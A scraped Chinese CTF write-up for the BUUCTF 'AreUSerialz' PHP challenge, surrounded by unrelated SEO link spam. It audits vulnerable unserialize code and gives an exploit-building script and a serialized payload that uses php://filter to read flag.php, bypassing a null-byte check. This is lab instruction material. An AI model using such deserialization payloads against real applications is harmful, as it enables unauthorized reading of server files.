当前位置: 首页 > news >正文

网站建设社会效益google搜索入口

网站建设社会效益,google搜索入口,做dm页网站,做手机版网站和做app差别题目来源&#xff1a;BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机&#xff0c;整理信息 直接得到一串php代码&#xff0c;根据题目可以看到还有序列化 二、解题思路 step 1&#xff1a;代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…

题目来源:BUUCTF  [网鼎杯 2020 青龙组]AreUSerialz

一、打开靶机,整理信息

        直接得到一串php代码,根据题目可以看到还有序列化

二、解题思路

step 1:代码审计

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {  //创建FileHandler类//定义了三个受保护的属性protected $op;protected $filename;protected $content;//构造函数,对三个受保护的属性进行初始化,然后调用process()方法function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}//定义公共的成员方法,并根据$this->op的值来执行不同的操作public function process() {if($this->op == "1") {$this->write();  //值为1,则调用write方法进行文件写入操作} else if($this->op == "2") {$res = $this->read();  //值为2,则调用read方法读取文件内容,并将结果传递给output方法输出$this->output($res);} else {$this->output("Bad Hacker!");}}//定义公共的成员方法private function write() {if(isset($this->filename) && isset($this->content)) {  //检查二者是否都已设置if(strlen((string)$this->content) > 100) {  //经检查$thie->content的长度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);  //使用file_put_contents函数将$this->content写入$this->filename文件中,根据写入结果输出相应的信息if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {  //检查$this->filename是否已设置,如果设置则使用file_get_contents()函数读取该文件的内容并返回$res = file_get_contents($this->filename);}return $res;}//输出[Result]: <br>作为前缀,然后输出传入的字符串$sprivate function output($s) {echo "[Result]: <br>";echo $s;}//析构函数,如果$this->op严格等于"2",则将其设置为"1",清空$this->content,然后调用process()方法。function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}//检查传入的字符串$s中的每个字符的ASCII码是否在32到125之间,如果有不在该范围内的字符则返回false,否则返回true
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}//处理GET请求
if(isset($_GET{'str'})) {  //检查GET请求是否包含str参数,如果包含,将其转换为字符串并调用is_valid()函数进行验证$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);  //验证通过则对该字符串进行反序列化操作}}

代码总结:几个重要的点①满足op=1,则进行write写入操作,op=2,就会执行read方法和output方法;②满足content<100,则将$this->content写入$this->filename文件中;③利用ord函数,检查$s的字符串的ASCII值是否在32-125之间(包含了空格、符号、数字、大小写字母),这里用%00转换为\00即可绕过;④GET方式传参,参数是str,传入的值为字符串类型,然后要进行反序列化操作

step 2:开始解题

        要想得到flag,需要绕过process方法,防止op=1,所以令op=2,直接进入read函数,然后传入filename,并使用file_get_contents函数读取文件,可以借助php://filter伪协议读取文件,获取文件后使用output函数输出

        一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

摘自[网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园

突破protected访问修饰符限制

        大佬的脚本如下([网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园)

<?phpclass FileHandler {protected $op=2;protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// $this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}
$A=new FileHandler();
$B=serialize($A);
echo $B;

        运行得到的结果有三个地方字符显示不正确的地方就是%00字符,这里可以利用本地序列化的时候将属性改为public进行绕过(php7.1+版本对属性类型不敏感),即

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

得到正常结果

        构造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码过的信息,进行base64解码,得到flag

三、小结

1.和反序列化有关的题目还是得写脚本

2.新知识:突破protected访问修饰符限制

http://www.hkea.cn/news/699575/

相关文章:

  • 网站建设中标公告18款禁用看奶app入口
  • 网站运营人员岗位职责长沙正规seo优化价格
  • cnzz统计代码放在后台网站为什么没显示seo的英文全称是什么
  • 杭州企业网站建设方案广告门
  • 自己免费做网站(二)seo优化公司信
  • 广州外贸b2b网站建设刷钻业务推广网站
  • 做企业网站用什么怎样宣传自己的品牌
  • 濮阳做网站的公司我的百度账号
  • 美食网站开发如何做好网络营销工作
  • 网站建设案例资料今天的新闻内容
  • 台州专业网站建设方案seo软文代写
  • 个人网站 百度推广全球搜索大全
  • 网站消息推送5118素材网站
  • 天津 响应式网站设计企业网站模板免费
  • 网站用花生壳nas做存储百度seo发包工具
  • wordpress cache深圳纯手工seo
  • 怎样找到正规代加工网站百度地图3d实景地图
  • 潍坊网站建设公司网站搭建免费
  • 惠州做网站好的公司下载百度语音导航地图安装
  • 春节网站怎么做小说排行榜百度搜索风云榜
  • 商城服务是什么软件seo是指什么岗位
  • 无锡网站建设有限公司网站快速收录的方法
  • 网站建设通报推广网站多少钱
  • 网络推广公司成都seo排名优化教程
  • 一台手机登录微信网页版西安优化外
  • 如何做旅游攻略网站长沙seo优化推荐
  • 长春火车站电话咨询电话快排seo
  • 龙城建设网站公司网站内容优化方法
  • 南通网站建设搭建网站卖链接
  • 驻马店市做网站seo臻系统